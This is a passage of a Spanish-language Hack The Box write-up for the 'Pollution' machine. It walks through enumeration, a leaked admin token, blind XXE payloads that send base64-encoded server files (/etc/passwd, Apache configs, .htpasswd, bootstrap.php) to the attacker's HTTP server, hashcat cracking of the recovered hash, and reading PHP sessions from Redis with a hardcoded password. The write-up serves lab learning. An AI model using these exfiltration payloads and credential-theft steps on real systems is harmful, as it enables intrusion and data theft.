Table of Contents
Hack The Box: Pollution Writeup
Welcome to my detailed writeup of the hard difficulty machine “Pollution” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.228.126 --ulimit 5000 -g
210.129.228.126 -> [22,6379,80]
1$ nmap -p22,6379,80 -sCV 10.129.228.126 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 20:27 CEST
3Nmap scan report for forum.collect.htb (10.129.228.126)
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
8| ssh-hostkey:
9| 3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA)
10| 256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA)
11|_ 256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519)
1280/tcp open http Apache httpd 2.4.54 ((Debian))
13|_http-title: Forums
14|_http-server-header: Apache/2.4.54 (Debian)
156379/tcp open redis Redis key-value store
16Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
17
18Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
19Nmap done: 1 IP address (1 host up) scanned in 18.23 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU -n -Pn --min-rate 5000 10.129.228.126 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-13 18:50 CEST
3Nmap scan report for 10.129.228.126
4Host is up (0.037s latency).
5Not shown: 1494 open|filtered udp ports (no-response)
6PORT STATE SERVICE
7539/udp closed apertus-ldp
81053/udp closed remote-as
91058/udp closed nim
1026254/udp closed unknown
1149171/udp closed unknown
1249350/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.79 seconds
Redis Enumeration
No podemos enumerar Redis porque requiere autenticación.
1$ redis-cli -h collect.htb
2collect.htb:6379> KEYS *
3(error) NOAUTH Authentication required.
HTTP Enumeration
whatweb
nos reporta un correo electrónico en el cual podemos ver un dominio llamado collect.htb
, lo añadimos al /etc/hosts
1$ whatweb http://10.129.228.126
2http://10.129.228.126 [200 OK] Apache[2.4.54], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[info@collect.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[10.129.228.126], JQuery[2.1.0], Lightbox, Script, Title[Home]
El whatweb
hacia el dominio encontrado no nos reporta nada diferente, por lo cual quizás no se está aplicando virtual hosting.
1$ whatweb http://collect.htb
2http://collect.htb [200 OK] Apache[2.4.54], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], Email[info@collect.htb], HTML5, HTTPServer[Debian Linux][Apache/2.4.54 (Debian)], IP[10.129.228.126], JQuery[2.1.0], Lightbox, Script, Title[Home]
Así se ve el sitio web.
Analizando el sitio web encontramos esto, quizás exista una API por detrás.
También encontramos parte del equipo, por lo cual podemos hacernos una lista de usuarios que siempre es útil.
1$ cat users.txt
2white cheese
3snow mary
4johnny egg
5catherine phyu
6shao lynn
7emma honey
8olivia sofie
Mas adelante si lo necesitamos crearemos variaciones de estos usuarios.
También encontramos un formulario de registro bajo /register
Vemos que tampoco encontramos una funcionalidad adicional
Fuzzeando este sitio con la cookie de sesión no encontré nada relevante.
Enumerating Subdomains
Con wfuzz
vamos a intentar descubrir subdominios.
1$ wfuzz --hh=26194 -c -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.collect.htb' http://collect.htb
2
3********************************************************
4* Wfuzz 3.1.0 - The Web Fuzzer *
5********************************************************
6
7Target: http://collect.htb/
8Total requests: 114441
9
10=====================================================================
11ID Response Lines Word Chars Payload
12=====================================================================
13
14000000023: 200 336 L 1220 W 14098 Ch "forum"
15000002341: 401 14 L 54 W 469 Ch "developers"
Encontramos el subdominio forum.collect.htb
, y el subdominio developers.collect.htb
los añadimos al /etc/hosts
Enumerating developers.collect.htb
No puedo hacer nada por ahora.
Enumerating forum.collect.htb
Podemos ver una instancia de MyBB
Is a free and open-source forum software developed by the MyBB Group. It is written in PHP, supports MariaDB, MySQL, PostgreSQL and SQLite as database systems and, in addition, has database failover support.
Podemos enumerar los usuarios del foro bajo /memberlist.php
Actualizamos nuestra lista de usuarios.
1 cat users.txt
2white cheese
3snow mary
4johnny egg
5catherine phyu
6shao lynn
7emma honey
8olivia sofie
9administrator_forum
10john
11victor
12sysadmin
13jeorge
14jane
15karldev
16lyon
Encontramos una vulnerabilidad relevante pero necesitamos tener acceso al panel de administración. https://www.exploit-db.com/exploits/51213
Enumerando el foro encontramos un post interesante.
Donde un usuario tiene un problema intentando iniciar sesión a la API y el sysadmin le pide las solicitudes.
Quizás podamos ver credenciales o algún tipo de token de autenticación.
Podemos ver este archivo por consola.
Es un archivo xml.
Lo guardamos a un archivo y con batcat
podemos verlo de una forma mas cómoda y bonita.
1$ batcat proxy.xml
Analizando el fichero encontramos dos cosas interesantes.
Una petición a un servicio interno en el puerto 3000, así que sabemos que hay un servicio interno. Utiliza de credenciales user:pass
por lo cual no creo que sean válidas.
Y también encontramos una solicitud POST a http://collect.htb/set/role/admin
donde se le está pasando un token..
Podemos probar a hacer la misma solicitud tanto como está como utilizando formato JSON pero no obtenemos respuesta del servidor.
1$ curl -v -X POST http://collect.htb/set/role/admin -H "Content-Type: application/json" -d '{"token": "ddac62a28254561001277727cb397baf"}'
2Note: Unnecessary use of -X or --request, POST is already inferred.
3* Host collect.htb:80 was resolved.
4* IPv6: (none)
5* IPv4: 10.129.228.126
6* Trying 10.129.228.126:80...
7* Connected to collect.htb (10.129.228.126) port 80
8> POST /set/role/admin HTTP/1.1
9> Host: collect.htb
10> User-Agent: curl/8.9.1
11> Accept: */*
12> Content-Type: application/json
13> Content-Length: 45
14>
15* upload completely sent off: 45 bytes
16< HTTP/1.1 302 Found
17< Date: Fri, 13 Sep 2024 15:26:45 GMT
18< Server: Apache/2.4.54 (Debian)
19< Expires: Thu, 19 Nov 1981 08:52:00 GMT
20< Cache-Control: no-store, no-cache, must-revalidate
21< Pragma: no-cache
22< Set-Cookie: PHPSESSID=9r7i8f7fdugj0kk1d6trp52sl6; path=/
23< Location: /home
24< Content-Length: 0
25< Content-Type: text/html; charset=UTF-8
26<
27* Connection #0 to host collect.htb left intact
1$ curl -v -X POST http://collect.htb/set/role/admin -H "Content-Type: application/x-www-form-urlencoded" -d "token=ddac62a28254561001277727cb397baf"
2Note: Unnecessary use of -X or --request, POST is already inferred.
3* Host collect.htb:80 was resolved.
4* IPv6: (none)
5* IPv4: 10.129.228.126
6* Trying 10.129.228.126:80...
7* Connected to collect.htb (10.129.228.126) port 80
8> POST /set/role/admin HTTP/1.1
9> Host: collect.htb
10> User-Agent: curl/8.9.1
11> Accept: */*
12> Content-Type: application/x-www-form-urlencoded
13> Content-Length: 38
14>
15* upload completely sent off: 38 bytes
16< HTTP/1.1 302 Found
17< Date: Fri, 13 Sep 2024 15:26:37 GMT
18< Server: Apache/2.4.54 (Debian)
19< Expires: Thu, 19 Nov 1981 08:52:00 GMT
20< Cache-Control: no-store, no-cache, must-revalidate
21< Pragma: no-cache
22< Set-Cookie: PHPSESSID=eh6r24lquctpqilu7gr0sooomf; path=/
23< Location: /home
24< Content-Length: 0
25< Content-Type: text/html; charset=UTF-8
26<
27* Connection #0 to host collect.htb left intact
Buscando la lógica podemos deducir que el endpoint /set/role/admin
lo que hace es convertir en administrador un usuario utilizando el token, pero, ¿Qué usuario? la única forma de identificar el usuario es mediante el PHPSESSID
Entonces, si queremos convertir a nuestro usuario en administrador podemos intentar hacer la solicitud pero utilizando nuestro PHPSESSID
1$ curl -v -X POST http://collect.htb/set/role/admin -d token=ddac62a28254561001277727cb397baf --cookie "PHPSESSID=gi2c1krg228jkg5gpvv9pibog4"
2Note: Unnecessary use of -X or --request, POST is already inferred.
3* Host collect.htb:80 was resolved.
4* IPv6: (none)
5* IPv4: 10.129.228.126
6* Trying 10.129.228.126:80...
7* Connected to collect.htb (10.129.228.126) port 80
8> POST /set/role/admin HTTP/1.1
9> Host: collect.htb
10> User-Agent: curl/8.9.1
11> Accept: */*
12> Cookie: PHPSESSID=gi2c1krg228jkg5gpvv9pibog4
13> Content-Length: 38
14> Content-Type: application/x-www-form-urlencoded
15>
16* upload completely sent off: 38 bytes
17< HTTP/1.1 302 Found
18< Date: Fri, 13 Sep 2024 15:35:01 GMT
19< Server: Apache/2.4.54 (Debian)
20< Expires: Thu, 19 Nov 1981 08:52:00 GMT
21< Cache-Control: no-store, no-cache, must-revalidate
22< Pragma: no-cache
23< Location: /admin
24< Content-Length: 0
25< Content-Type: text/html; charset=UTF-8
26<
27* Connection #0 to host collect.htb left intact
Y vemos que ocurre un 302 redirect a /admin
Ahora podemos acceder a este panel administrativo.
Vemos un formulario para registrar un usuario en la API.
External XML Entity Injection
Si con burpsuite
interceptamos la petición, vemos que la data se está tramitando en XML.
Podemos probar a ver si se acontece un XXE.
Vemos un error de sintaxis, esto es porque debemos de URL-Encodear el payload.
Vemos que nos devuelve un Ok pero no nos reporta ninguna información.
Podemos probar varias técnicas y payloads.
Encontramos en PayloadAllTheThings un payload para un Blind XXE en la cual se utiliza una técnica para exfiltrar la data a un servidor web.
1<?xml version="1.0" ?>
2<!DOCTYPE root [
3<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
4]>
5<r></r>
Si utilizamos este payload para comprobar si el blind XXE funciona vemos que el servidor nos devuelve un 200 OK.
Y nos llega una solicitud.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 19:54:33] code 404, message File not found
410.129.228.126 - - [13/Sep/2024 19:54:33] "GET /x HTTP/1.1" 404 -
Esto significa que es vulnerable.
Podemos probar el payload en la sección ### XXE OOB with DTD and PHP filter
1<?xml version="1.0" ?>
2<!DOCTYPE r [
3<!ELEMENT r ANY >
4<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
5%sp;
6%param1;
7]>
8<r>&exfil;</r>
9
10File stored on http://127.0.0.1/dtd.xml
11<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
12<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
Entonces creamos un DTD llamado dtd.xml
en el cual vamos a intentar exfiltrar el archivo index.php
. Si todo sale bien debería de llegarnos una solicitud en la cual se descarga el DTD y luego otra con el archivo codificado en base64.
1<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
2<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.104:8081/dtd.xml?%data;'>">
Ahora enviamos este payload al servidor.
1<%3fxml+version%3d"1.0"+%3f><!DOCTYPE+r+[<!ELEMENT+r+ANY+><!ENTITY+%25+sp+SYSTEM+"http%3a//10.10.14.104%3a8081/dtd.xml">%25sp%3b%25param1%3b]><r>%26exfil%3b</r>
Y vemos que nos llega algo.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:05:06] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:05:06] "GET /dtd.xml?PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK HTTP/1.1" 200 -
Al decodificarlo vemos varios archivos interesantes.
1$ echo "PD9waHAKCnJlcXVpcmUgJy4uL2Jvb3RzdHJhcC5waHAnOwoKdXNlIGFwcFxjbGFzc2VzXFJvdXRlczsKdXNlIGFwcFxjbGFzc2VzXFVyaTsKCgokcm91dGVzID0gWwogICAgIi8iID0+ICJjb250cm9sbGVycy9pbmRleC5waHAiLAogICAgIi9sb2dpbiIgPT4gImNvbnRyb2xsZXJzL2xvZ2luLnBocCIsCiAgICAiL3JlZ2lzdGVyIiA9PiAiY29udHJvbGxlcnMvcmVnaXN0ZXIucGhwIiwKICAgICIvaG9tZSIgPT4gImNvbnRyb2xsZXJzL2hvbWUucGhwIiwKICAgICIvYWRtaW4iID0+ICJjb250cm9sbGVycy9hZG1pbi5waHAiLAogICAgIi9hcGkiID0+ICJjb250cm9sbGVycy9hcGkucGhwIiwKICAgICIvc2V0L3JvbGUvYWRtaW4iID0+ICJjb250cm9sbGVycy9zZXRfcm9sZV9hZG1pbi5waHAiLAogICAgIi9sb2dvdXQiID0+ICJjb250cm9sbGVycy9sb2dvdXQucGhwIgpdOwoKJHVyaSA9IFVyaTo6bG9hZCgpOwpyZXF1aXJlIFJvdXRlczo6bG9hZCgkdXJpLCAkcm91dGVzKTsK" | base64 -d
2<?php
3
4require '../bootstrap.php';
5
6use app\classes\Routes;
7use app\classes\Uri;
8
9
10$routes = [
11 "/" => "controllers/index.php",
12 "/login" => "controllers/login.php",
13 "/register" => "controllers/register.php",
14 "/home" => "controllers/home.php",
15 "/admin" => "controllers/admin.php",
16 "/api" => "controllers/api.php",
17 "/set/role/admin" => "controllers/set_role_admin.php",
18 "/logout" => "controllers/logout.php"
19];
20
21$uri = Uri::load();
22require Routes::load($uri, $routes);
Pero primero necesito saber cual es la ruta de el sitio web por lo cual vamos a ver el fichero /etc/apache2/sites-enabled/000-default.conf
Modificamos el DTD.
1<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf">
2<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://10.10.14.104:8081/dtd.xml?%data;'>">
Pero no recibimos nada.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:10:01] "GET /dtd.xml HTTP/1.1" 200 -
Siguiendo el estándar para los ficheros de configuración de Apache podemos probar a conseguir el archivo ``collect.htb.conf
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:11:03] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:11:03] "GET /dtd.xml?PFZpcnR1YWxIb3N0ICo6ODA+CgkjIFRoZSBTZXJ2ZXJOYW1lIGRpcmVjdGl2ZSBzZXRzIHRoZSByZXF1ZXN0IHNjaGVtZSwgaG9zdG5hbWUgYW5kIHBvcnQgdGhhdAoJIyB0aGUgc2VydmVyIHVzZXMgdG8gaWRlbnRpZnkgaXRzZWxmLiBUaGlzIGlzIHVzZWQgd2hlbiBjcmVhdGluZwoJIyByZWRpcmVjdGlvbiBVUkxzLiBJbiB0aGUgY29udGV4dCBvZiB2aXJ0dWFsIGhvc3RzLCB0aGUgU2VydmVyTmFtZQoJIyBzcGVjaWZpZXMgd2hhdCBob3N0bmFtZSBtdXN0IGFwcGVhciBpbiB0aGUgcmVxdWVzdCdzIEhvc3Q6IGhlYWRlciB0bwoJIyBtYXRjaCB0aGlzIHZpcnR1YWwgaG9zdC4gRm9yIHRoZSBkZWZhdWx0IHZpcnR1YWwgaG9zdCAodGhpcyBmaWxlKSB0aGlzCgkjIHZhbHVlIGlzIG5vdCBkZWNpc2l2ZSBhcyBpdCBpcyB1c2VkIGFzIGEgbGFzdCByZXNvcnQgaG9zdCByZWdhcmRsZXNzLgoJIyBIb3dldmVyLCB5b3UgbXVzdCBzZXQgaXQgZm9yIGFueSBmdXJ0aGVyIHZpcnR1YWwgaG9zdCBleHBsaWNpdGx5LgoJI1NlcnZlck5hbWUgd3d3LmV4YW1wbGUuY29tCgoJU2VydmVyQWRtaW4gd2VibWFzdGVyQGxvY2FsaG9zdAoJU2VydmVyTmFtZSBjb2xsZWN0Lmh0YgoJRG9jdW1lbnRSb290IC92YXIvd3d3L2NvbGxlY3QvcHVibGljCgoJIyBBdmFpbGFibGUgbG9nbGV2ZWxzOiB0cmFjZTgsIC4uLiwgdHJhY2UxLCBkZWJ1ZywgaW5mbywgbm90aWNlLCB3YXJuLAoJIyBlcnJvciwgY3JpdCwgYWxlcnQsIGVtZXJnLgoJIyBJdCBpcyBhbHNvIHBvc3NpYmxlIHRvIGNvbmZpZ3VyZSB0aGUgbG9nbGV2ZWwgZm9yIHBhcnRpY3VsYXIKCSMgbW9kdWxlcywgZS5nLgoJI0xvZ0xldmVsIGluZm8gc3NsOndhcm4KCglFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKCUN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCgoJIyBGb3IgbW9zdCBjb25maWd1cmF0aW9uIGZpbGVzIGZyb20gY29uZi1hdmFpbGFibGUvLCB3aGljaCBhcmUKCSMgZW5hYmxlZCBvciBkaXNhYmxlZCBhdCBhIGdsb2JhbCBsZXZlbCwgaXQgaXMgcG9zc2libGUgdG8KCSMgaW5jbHVkZSBhIGxpbmUgZm9yIG9ubHkgb25lIHBhcnRpY3VsYXIgdmlydHVhbCBob3N0LiBGb3IgZXhhbXBsZSB0aGUKCSMgZm9sbG93aW5nIGxpbmUgZW5hYmxlcyB0aGUgQ0dJIGNvbmZpZ3VyYXRpb24gZm9yIHRoaXMgaG9zdCBvbmx5CgkjIGFmdGVyIGl0IGhhcyBiZWVuIGdsb2JhbGx5IGRpc2FibGVkIHdpdGggImEyZGlzY29uZiIuCgkjSW5jbHVkZSBjb25mLWF2YWlsYWJsZS9zZXJ2ZS1jZ2ktYmluLmNvbmYKPC9WaXJ0dWFsSG9zdD4KCiMgdmltOiBzeW50YXg9YXBhY2hlIHRzPTQgc3c9NCBzdHM9NCBzciBub2V0Cg== HTTP/1.1" 200 -
Decodificando el fichero encontramos la ruta de la aplicación, /var/www/collect/public
No conseguí ningún archivo interesante de los controladores.
Pero recordemos que bajo developers.collect.htb
se requería autenticación y era HTTP-Basic, por lo cual el hash de la contraseña debe de guardarse en un fichero .htpasswd
y este se especifica en el archivo de configuración..
Así que podemos probar a filtrar el archivo /etc/apache2/sites-enabled/developers.collect.htb.conf
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:15:28] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:15:28] "GET /dtd.xml?PFZpcnR1YWxIb3N0ICo6ODA+CgkjIFRoZSBTZXJ2ZXJOYW1lIGRpcmVjdGl2ZSBzZXRzIHRoZSByZXF1ZXN0IHNjaGVtZSwgaG9zdG5hbWUgYW5kIHBvcnQgdGhhdAoJIyB0aGUgc2VydmVyIHVzZXMgdG8gaWRlbnRpZnkgaXRzZWxmLiBUaGlzIGlzIHVzZWQgd2hlbiBjcmVhdGluZwoJIyByZWRpcmVjdGlvbiBVUkxzLiBJbiB0aGUgY29udGV4dCBvZiB2aXJ0dWFsIGhvc3RzLCB0aGUgU2VydmVyTmFtZQoJIyBzcGVjaWZpZXMgd2hhdCBob3N0bmFtZSBtdXN0IGFwcGVhciBpbiB0aGUgcmVxdWVzdCdzIEhvc3Q6IGhlYWRlciB0bwoJIyBtYXRjaCB0aGlzIHZpcnR1YWwgaG9zdC4gRm9yIHRoZSBkZWZhdWx0IHZpcnR1YWwgaG9zdCAodGhpcyBmaWxlKSB0aGlzCgkjIHZhbHVlIGlzIG5vdCBkZWNpc2l2ZSBhcyBpdCBpcyB1c2VkIGFzIGEgbGFzdCByZXNvcnQgaG9zdCByZWdhcmRsZXNzLgoJIyBIb3dldmVyLCB5b3UgbXVzdCBzZXQgaXQgZm9yIGFueSBmdXJ0aGVyIHZpcnR1YWwgaG9zdCBleHBsaWNpdGx5LgoJI1NlcnZlck5hbWUgd3d3LmV4YW1wbGUuY29tCgoJU2VydmVyQWRtaW4gY29sbGVjdEBsb2NhbGhvc3QKCVNlcnZlck5hbWUgZGV2ZWxvcGVycy5jb2xsZWN0Lmh0YgoJRG9jdW1lbnRSb290IC92YXIvd3d3L2RldmVsb3BlcnMKCgkjIEF2YWlsYWJsZSBsb2dsZXZlbHM6IHRyYWNlOCwgLi4uLCB0cmFjZTEsIGRlYnVnLCBpbmZvLCBub3RpY2UsIHdhcm4sCgkjIGVycm9yLCBjcml0LCBhbGVydCwgZW1lcmcuCgkjIEl0IGlzIGFsc28gcG9zc2libGUgdG8gY29uZmlndXJlIHRoZSBsb2dsZXZlbCBmb3IgcGFydGljdWxhcgoJIyBtb2R1bGVzLCBlLmcuCgkjTG9nTGV2ZWwgaW5mbyBzc2w6d2FybgoKCTxEaXJlY3RvcnkgIi92YXIvd3d3L2RldmVsb3BlcnMiPgoJCUF1dGhUeXBlIEJhc2ljCgkJQXV0aE5hbWUgIlJlc3RyaWN0ZWQgQ29udGVudCIKCQlBdXRoVXNlckZpbGUgL3Zhci93d3cvZGV2ZWxvcGVycy8uaHRwYXNzd2QKCQlSZXF1aXJlIHZhbGlkLXVzZXIKCTwvRGlyZWN0b3J5PgoJCgoJRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCglDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAoKCSMgRm9yIG1vc3QgY29uZmlndXJhdGlvbiBmaWxlcyBmcm9tIGNvbmYtYXZhaWxhYmxlLywgd2hpY2ggYXJlCgkjIGVuYWJsZWQgb3IgZGlzYWJsZWQgYXQgYSBnbG9iYWwgbGV2ZWwsIGl0IGlzIHBvc3NpYmxlIHRvCgkjIGluY2x1ZGUgYSBsaW5lIGZvciBvbmx5IG9uZSBwYXJ0aWN1bGFyIHZpcnR1YWwgaG9zdC4gRm9yIGV4YW1wbGUgdGhlCgkjIGZvbGxvd2luZyBsaW5lIGVuYWJsZXMgdGhlIENHSSBjb25maWd1cmF0aW9uIGZvciB0aGlzIGhvc3Qgb25seQoJIyBhZnRlciBpdCBoYXMgYmVlbiBnbG9iYWxseSBkaXNhYmxlZCB3aXRoICJhMmRpc2NvbmYiLgoJI0luY2x1ZGUgY29uZi1hdmFpbGFibGUvc2VydmUtY2dpLWJpbi5jb25mCjwvVmlydHVhbEhvc3Q+CgojIHZpbTogc3ludGF4PWFwYWNoZSB0cz00IHN3PTQgc3RzPTQgc3Igbm9ldAo= HTTP/1.1" 200 -
Y encontramos lo siguiente.
1<Directory "/var/www/developers">
2 AuthType Basic
3 AuthName "Restricted Content"
4 AuthUserFile /var/www/developers/.htpasswd
5 Require valid-user
6 </Directory>
Vamos a intentar filtrar el archivo /var/www/developers/.htpasswd
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:16:17] "GET /dtd.xml HTTP/1.1" 200 -
410.129.228.126 - - [13/Sep/2024 20:16:17] "GET /dtd.xml?ZGV2ZWxvcGVyc19ncm91cDokYXByMSRNektBNXlYWSREd0V6Lmp4VzlVU1dvOC5nb0Q3alkxCg== HTTP/1.1" 200 -
Y encontramos un hash.
1$ echo "ZGV2ZWxvcGVyc19ncm91cDokYXByMSRNektBNXlYWSREd0V6Lmp4VzlVU1dvOC5nb0Q3alkxCg==" | base64 -d
2developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
Cracking Apache Hash
Con haschat
podemos intentar este hash.
Podemos encontrar el modo en el que debemos crackearlo según el formato.
Y ahora podemos crackearlo.
1C:\Users\pc\Desktop\hashcat-6.2.6>.\hashcat.exe -a 0 -m 1600 .\hash.txt .\rockyou.txt
2...
3$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket
4
5Session..........: hashcat
6Status...........: Cracked
7Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
8Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
9Time.Started.....: Fri Sep 13 18:18:33 2024 (2 secs)
10Time.Estimated...: Fri Sep 13 18:18:35 2024 (0 secs)
11Kernel.Feature...: Pure Kernel
12Guess.Base.......: File (.\rockyou.txt)
13Guess.Queue......: 1/1 (100.00%)
14Speed.#1.........: 136.7 kH/s (18.93ms) @ Accel:4 Loops:125 Thr:256 Vec:1
15Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
16Progress.........: 221184/14344387 (1.54%)
17Rejected.........: 0/221184 (0.00%)
18Restore.Point....: 184320/14344387 (1.28%)
19Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000
20Candidate.Engine.: Device Generator
21Candidates.#1....: joan07 -> froggy27
22Hardware.Mon.#1..: Temp: 56c Fan: 35% Util: 11% Core:1533MHz Mem:2000MHz Bus:8
Vemos que la credencial es r0cket
developers.collect.htb
Ahora que tenemos credenciales podemos iniciar sesión.
developers_group:r0cket
Y necesitamos una segunda autenticación.
XXE (again)
Después de probar la credencial con todos los archivos no conseguí iniciar sesión.
Así que vamos a intentar conseguir el index.php
de este sitio web, quizás las credenciales están hardcodeadas.
Vamos a recuperar el archivo /var/www/developers/login.php
Y no podemos recuperarlo.
1$ python3 -m http.server 8081
2Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
310.129.228.126 - - [13/Sep/2024 20:23:20] "GET /dtd.xml HTTP/1.1" 200 -
Vamos a probar el index.php
y este si que lo podemos recuperar.
1<?php
2require './bootstrap.php';
3
4
5if (!isset($_SESSION['auth']) or $_SESSION['auth'] != True) {
6 die(header('Location: /login.php'));
7}
8
9if (!isset($_GET['page']) or empty($_GET['page'])) {
10 die(header('Location: /?page=home'));
11}
12
13$view = 1;
14
15?>
16
17<!DOCTYPE html>
18<html lang="en">
19
20<head>
21 <meta charset="UTF-8">
22 <meta http-equiv="X-UA-Compatible" content="IE=edge">
23 <meta name="viewport" content="width=device-width, initial-scale=1.0">
24 <script src="assets/js/tailwind.js"></script>
25 <title>Developers Collect</title>
26</head>
27
28<body>
29 <div class="flex flex-col h-screen justify-between">
30 <?php include("header.php"); ?>
31
32 <main class="mb-auto mx-24">
33 <?php include($_GET['page'] . ".php"); ?>
34 </main>
35
36 <?php include("footer.php"); ?>
37 </div>
38
39</body>
40
41</html>
Me llamo la atención el bootstrap.php
ya que este fichero se suele utilizar para las configuraciones de los sitios web.
1<?php
2
3ini_set('session.save_handler', 'redis');
4ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
5
6session_start();
Y encontramos una credencial, COLLECTR3D1SPASS
para Redis.
Redis Enumeration
Ahora sí podemos enumerar la base de datos y encontramos las sesiones de PHP.
1$ redis-cli -h collect.htb -a 'COLLECTR3D1SPASS'
2Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.
3collect.htb:6379> KEYS *
4 1) "PHPREDIS_SESSION:m0quph73em3qeca9hg2av3rc7f"
5 2) "PHPREDIS_SESSION:uk385rcqv86ahs4qnurg2lv1om"
6 3) "PHPREDIS_SESSION:laage9fp959sb1180a5d59ke4i"
7 4) "PHPREDIS_SESSION:27fh9h6veirelvouv815rul4tg"
8 5) "PHPREDIS_SESSION:8umh0m236krvrfasiohqdj0enf"
9 6) "PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4"
10 7) "PHPREDIS_SESSION:e37ci4tqvukr5smlk0ag3nhe4a"
11 8) "PHPREDIS_SESSION:0hj293g5q32fvoac9rcreb2b8q"
12 9) "PHPREDIS_SESSION:e1e17g7n3lr1lkr6e1r33ahhoh"
1310) "PHPREDIS_SESSION:4ecp461nu7058h53fk2uaf7gg0"
1411) "PHPREDIS_SESSION:jn6i7957ed7e65vh91sdd9j32h"
1512) "PHPREDIS_SESSION:lvi3jme0lcp7tsh7gt0hpspo2q"
1613) "PHPREDIS_SESSION:vk5hsi53v31rgahqqojnkckbaj"
1714) "PHPREDIS_SESSION:bqo7rapb9ms4lle4aga9prug1h"
1815) "PHPREDIS_SESSION:eurvh0scasvcsp2blnsqe3056r"
1916) "PHPREDIS_SESSION:ug8tndvfhr2fjl28h70l1aqj0p"
2017) "PHPREDIS_SESSION:5f9iatasmdvjr6o9c8a1tjeuks"
Todas las keys estaban vacias, todas excepto una, la mia.
1collect.htb:6379> get PHPREDIS_SESSION:gi2c1krg228jkg5gpvv9pibog4
2"username|s:7:\"pointed\";role|s:5:\"admin\";"
